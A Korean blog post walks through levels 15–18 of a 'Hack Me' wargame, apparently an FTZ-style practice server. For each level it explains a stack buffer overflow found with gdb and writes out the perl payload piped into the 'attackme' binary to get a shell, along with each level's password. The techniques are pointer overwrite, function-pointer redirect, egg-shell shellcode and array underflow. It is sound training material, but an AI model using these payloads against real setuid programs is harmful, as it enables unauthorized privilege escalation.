일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |
- activity
- TEST
- Coroutines
- Compose
- LifeCycle
- intent
- ScrollView
- textfield
- appbar
- 안드로이드
- scroll
- 계측
- Navigation
- 앱바
- tabbar
- Dialog
- binding
- livedata
- Button
- Kotlin
- android
- drift
- DART
- CustomScrollView
- 앱
- viewmodel
- data
- 테스트
- Flutter
- textview
- Today
- Total
Study Record
[리버싱] Hack Me 풀이집5 (15~19단계) 본문
15단계 → 16단계
※ 15단계(level15) 패스워드 : "guess what"
☞ 기초개념 - 버퍼 오버플로우
https://laustudy.tistory.com/65 - 버퍼 오버플로우
㉮ hint 파일을 보니 fgets 함수에서 buf 의 크기는 20byte인데 표준 입력으로 45byte까지 쓸 수 있게 되어있다. 따라서 이 함수를 이용해서 버퍼 오버플로우 공격을 실행할 수 있다. 코드의 흐름을 보아 check 라는 포인터 변수의 값을 0xdeadbeef 로 바꿀 수 있다면 다음 단계의 계정으로 쉘을 실행시킬 수 있을 것이다.
※ attackme 의 코드부분으로 추측된다.
㉯ 버퍼 오버플로우 공격을 하기 전, check(포인터 변수)와 buf 배열 사이가 얼만큼 떨어져 있는지 확인해본다.
attackme 코드를 ~/tmp/attackme 로 복사하여 gdb 명령어를 이용해 ~/tmp/attackme 파일을 열어 어셈블리 코드를 확인한다.
어셈블리 코드 확인 결과 buf 배열은 [ebp – 56] 에 위치하고 check 변수는 [ebp - 16] 에 있는걸 보니 check 변수와 buf 배열 사이는 40만큼의 차이가 있고 buf 배열은 20byte 크기를 가지고 있으므로 buf 배열과 check 변수 사이는 20byte 만큼의 빈 공간이 존재한다.
㉰ check(포인터 변수) 가 가르키는 값을 0xdeadbeef 로 바꾸기 위해 0xdeadbeef 가 들어있는 주소를 확인해본다.
어셈블리 코드 중 위의 그림이 check 변수가 가리키는 값과 0xdeadbeef를 비교하는 부분이다. 그렇다면 0xdeadbeef값이 들어있는 주소도 0x080484b0 주위 어딘가 있을 것이다.
0x0484b0 주위의 값들을 확인한 결과 0x080484b2 에 0xdeadbeef 가 있는 것을 확인했다.
㉱ 버퍼 오버플로우 공격을 위해 필요한 정보들을 다 모았으니 공격 구문을 만들어본다.
먼저, fgets(buf, 45, stdin); 함수로 표준입력으로 buf 배열에 최대 45byte만큼 값을 쓸 수 있다. buf 배열의 크기는 20byte이고 check 변수까지 20byte의 빈공간이 존재한다. 따라서 40byte 를 아무 문자로 채우고 그 뒤 4byte를 0xdeadbeef 를 가르키는 주소인 0x080484b2 로 채우면 된다. 리틀 엔디안 방식을 사용하고 있으므로 0x080484b2는 거꾸로 들어가야 한다.
최종적으로 표준 입력값은 ( perl -e ‘prnt “A”x40,”\xb2\x84\x04\x08”’ ) 가 되고, 공격 구문은 (perl -e ‘print “A”x40,”\xb2\x84\x04\x08”’; cat ) | /home/level15/attackme 가 된다.
⑤ 공격 결과 shell 을 획득한 것을 볼 수있다.
16단계의 패스워드는 “about to cause mass”이다.
16단계 → 17단계
※ 16단계(level16) 패스워드 : "about to cause mass"
☞ 기초개념 - 버퍼 오버플로우
https://laustudy.tistory.com/65 - 버퍼 오버플로우
㉮ hint 파일을 보니fgets 함수에서 buf 의 크기는 20byte인데 표준 입력으로 48byte까지 쓸 수 있게 되어있다. 따라서 이 함수를 이용해서 버퍼 오버플로우 공격을 실행할 수 있다. 코드의 흐름을 보아 call 변수를 shell() 함수의 주소값으로 바꾸면 다음 단계의 계정으로 실행된 쉘을 얻을 수 있다.
㉯ 버퍼 오버플로우 공격을 하기 전, call(포인터 변수)와 buf 배열 사이가 얼만큼 떨어져 있는지 확인해본다.
attackme 코드를 ~/tmp/attackme 로 복사하여 gdb 명령어를 이용해 ~/tmp/attackme 파일을 열어 main 함수의 어셈블리 코드를 확인해본다.
어셈블리 코드 확인 결과 buf 배열은 [ebp – 56] 에 위치하고 call 변수는 [ebp - 16] 에 있는걸 보니 call 변수와 buf 배열 사이는 40만큼의 차이가 있고 buf 배열은 20byte 크기를 가지고 있으므로 buf 배열과 call 변수 사이는 20byte 만큼의 빈 공간이 존재한다. 또한, printit 함수의 주소값이 0x8048500 이 정말 printit 함수의 주소값이 맞는지 확인해본 결과 아래의 그림과 같이 맞게 나왔다.
㉰ shell 함수의 주소값을 확인해본다.
확인해본 결과 shell 함수의 주소값은 0x080484d0 라는 것을 알 수 있다.
㉱ 버퍼 오버플로우 공격을 위해 필요한 정보들을 다 모았으니 공격 구문을 만들어본다.
먼저, fgets(buf, 48, stdin); 함수로 표준입력으로 buf 배열에 최대 48byte만큼 값을 쓸 수 있다. buf 배열의 크기는 20byte이고 call 변수까지 20byte의 빈공간이 존재한다. 따라서 40byte 를 아무 문자로 채우고 그 뒤 4byte를 shell 함수의 주소값인 0x080484d0 로 채우면 된다. 리틀 엔디안 방식을 사용하고 있으므로 0x080484d0 는 거꾸로 들어가야 한다.
최종적으로 표준 입력값은 ( perl -e ‘prnt “A”x40,”\xd0\x84\x04\x08”’ ) 가 되고, 공격 구문은
(perl -e ‘print “A”x40,”\xd0\x84\x04\x08”’; cat ) | /home/level16/attackme 가 된다.
㉲ 공격 결과 쉘을 획득한 것을 볼 수있다.
17단계의 패스워드는 의 패스워드는 “king poetic” 이다.
17단계 → 18단계
※ 17단계(level17) 패스워드 : "king poetic"
☞ 기초개념 - 버퍼 오버플로우, 쉘코드, 에그쉘
https://laustudy.tistory.com/65 - 버퍼 오버플로우
https://laustudy.tistory.com/73 - 에그쉘
https://laustudy.tistory.com/70 - 쉘코드
㉮ hint 파일을 보니fgets 함수에서 buf 의 크기는 20byte인데 표준 입력으로 48byte까지 쓸 수 있게 되어있다. 따라서 이 함수를 이용해서 버퍼 오버플로우 공격을 실행할 수 있다. 코드의 흐름을 보아 call 변수를 미리 메모리에 올려둔 쉘코드의 주소값으로 바꾸면 3098(level18의 권한)으로 쉘코드를 실행할 수 있다.
㉯ 버퍼 오버플로우 공격을 하기 전, call(포인터 변수)와 buf 배열 사이가 얼만큼 떨어져 있는지 확인해본다.
attackme 코드를 ~/tmp/attackme 로 복사하여 gdb 명령어를 이용해 ~/tmp/attackme 파일을 열어 main 함수의 어셈블리 코드를 확인해본다.
어셈블리 코드 확인 결과 buf 배열은 [ebp – 56] 에 위치하고 call 변수는 [ebp - 16] 에 있는걸 보니 call 변수와 buf 배열 사이는 40만큼의 차이가 있고 buf 배열은 20byte 크기를 가지고 있으므로 buf 배열과 call 변수 사이는 20byte 만큼의 빈 공간이 존재한다.
㉰ 메모리 공간에 미리 쉘코드를 올려놓고 그 쉘코드의 주소값을 가져온다.
$ /home/level12/tmp/egg
sh-2.05b$ /home/level12/tmp/getenv
EGG : 0xbffff6b8
쉘코드의 시작 주소값은 0xbffff6b8 이라는 것을 알았다.
→ 에그쉘과 쉘코드에 대한 설명
https://laustudy.tistory.com/73 - 에그쉘
https://laustudy.tistory.com/70 - 쉘코드
㉱ 버퍼 오버플로우 공격을 위해 필요한 정보들을 다 모았으니 공격 구문을 만들어본다.
먼저, fgets(buf, 48, stdin); 함수로 표준입력으로 buf 배열에 최대 48byte만큼 값을 쓸 수 있다. buf 배열의 크기는 20byte이고 call 변수까지 20byte의 빈공간이 존재한다. 따라서 40byte 를 아무 문자로 채우고 그 뒤 4byte를 미리 메모리에 올려둔 쉘코드의 주소값인 0xbffff6b8 로 채우면 된다. 리틀 엔디안 방식을 사용하고 있으므로 0xbffff6b8 는 거꾸로 들어가야 한다.
최종적으로 표준 입력값은 ( perl -e ‘prnt “A”x40,”\xb8\xf6\xff\xbf”’ ) 가 되고, 공격 구문은
(perl -e ‘print “A”x40,”\xb8\xf6\xff\xbf”’; cat ) | /home/level17/attackme 가 된다.
㉲ 공격 구문을 실행해본다. 반드시 /home/level12/tmp/egg 가 실행되고 있어야 한다.
sh-2.05b$ (perl -e 'print "A"x40,"\xb8\xf6\xff\xbf"'; cat ) | /home/level17/attackme
공격 결과 쉘을 획득하였고 18단계의 패스워드는 “why did you do it” 이다.
18단계 → 19단계
※ 18단계(level18) 패스워드 : "why did you do it"
☞ 기초개념 - select 함수
https://reakwon.tistory.com/117
https://pangtrue.tistory.com/31
㉮ hint 파일을 보면 아래와 같은 소스 코드가 나온다.
#include <stdio.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
void shellout(void);
int main()
{
char string[100];
int check;
int x = 0;
int count = 0;
fd_set fds;
printf("Enter your command: ");
fflush(stdout);
while(1)
{
if(count >= 100)
printf("what are you trying to do?\n");
if(check == 0xdeadbeef)
shellout();
else
{
FD_ZERO(&fds);
FD_SET(STDIN_FILENO,&fds);
if(select(FD_SETSIZE, &fds, NULL, NULL, NULL) >= 1)
{
if(FD_ISSET(fileno(stdin),&fds))
{
read(fileno(stdin),&x,1);
switch(x)
{
case '\r':
case '\n':
printf("\a");
break;
case 0x08:
count--;
printf("\b \b");
break;
default:
string[count] = x;
count++;
break;
}
}
}
}
}
}
void shellout(void)
{
setreuid(3099,3099);
execl("/bin/sh","sh",NULL);
}
소스 코드를 분석한 결과 표준 입력에서 값을 1byte씩 가져오는데 "\r"과 "\n"일 경우 "\a"를 출력하고 0x08일 경우 count 변수를 1만큼 감소하고 "\b \b"를 출력하고 그 외의 값은 string[count] 에 표준 입력에서 가져온 1byte 값을 쓰고 count 값을 1증가시킨다. 코드의 흐름으로 보아 check 변수에 0xdeadbeef 를 저장시킬 수 있다면 다음 단계의 권한으로 쉘을 실행시켜준다는 것을 알았다.
㉯ 지역변수들(string, x , check, count 등)사이에 빈 공간이 있는지 체크한다.
# cp ~/hint tmp/test2.c
# vi ~/tmp/test2.c
#include <stdio.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
void shellout(void);
int main()
{
char string[100];
int check;
int x = 0;
int count = 0;
fd_set fds;
printf("string: %p\ncheck: %p\n", string, &check, &x, &count);
printf("Enter your command: ");
fflush(stdout);
...
hint 파일을 그대로 복사해서 중간에 "printf("string: %p\ncheck: %p\n", string, &check, &x, &count);" 부분만 추가한다.
# gcc ~/tmp/test2.c -o ~/tmp/test
# cd ~/tmp
# chmod +x test
# ./test
실행해본 결과 string 과 check 사이에 빈 공간은 존재하지 않는다는 것을 알 수 있다.
㉰ string 과 check 사이에 빈 공간이 존재하지 않는다. check 변수에 0xdeadbeef 를 저장시키기 위해서는 아래 그림과 같은 관계를 가지므로 string[-1] = 0xde , string[-2] = 0xad , string[-3] = 0xbe , string[-4] = 0xef 이런식으로 저장하면 된다.
㉱ hint 파일을 보고 분석한 결과,
0x08 : count -1
"\r", "\n", 0x08 을 제와한 나머지 : string[count] = 받은 입력 값 ; count + 1
위와 같은 특성을 가지므로, "\x08\xde\x08\x08\xad\x08\x08\xbe\x08\x08\xef" 이렇게 입력하면 check 변수에 0xdeadbeef 가 저장될 것이다.
㉲ 만든 입력 값을 가지고 공격을 수행한다.
# (perl -e 'print "\x08\xde\x08\x08\xad\x08\x08\xbe\x08\x08\xef"'; cat) | /home/level18/attackme
공격 결과 쉘을 획득하였고 19단계의 패스워드는 “swimming in pink” 이다.
'리버싱 > Hack Me' 카테고리의 다른 글
[리버싱] Hack 풀이집 정리 (0) | 2021.11.22 |
---|---|
[리버싱] Hack Me 풀이집4 (13,14단계) (0) | 2021.11.19 |
[리버싱] Hack Me 풀이집3 (11,12 단계) (0) | 2021.11.18 |
[리버싱] Hack Me 풀이집2 (7단계 ~ 10단계) (0) | 2021.11.16 |
[리버싱] Hack Me 풀이집1 (1단계 ~ 6단계) (0) | 2021.11.15 |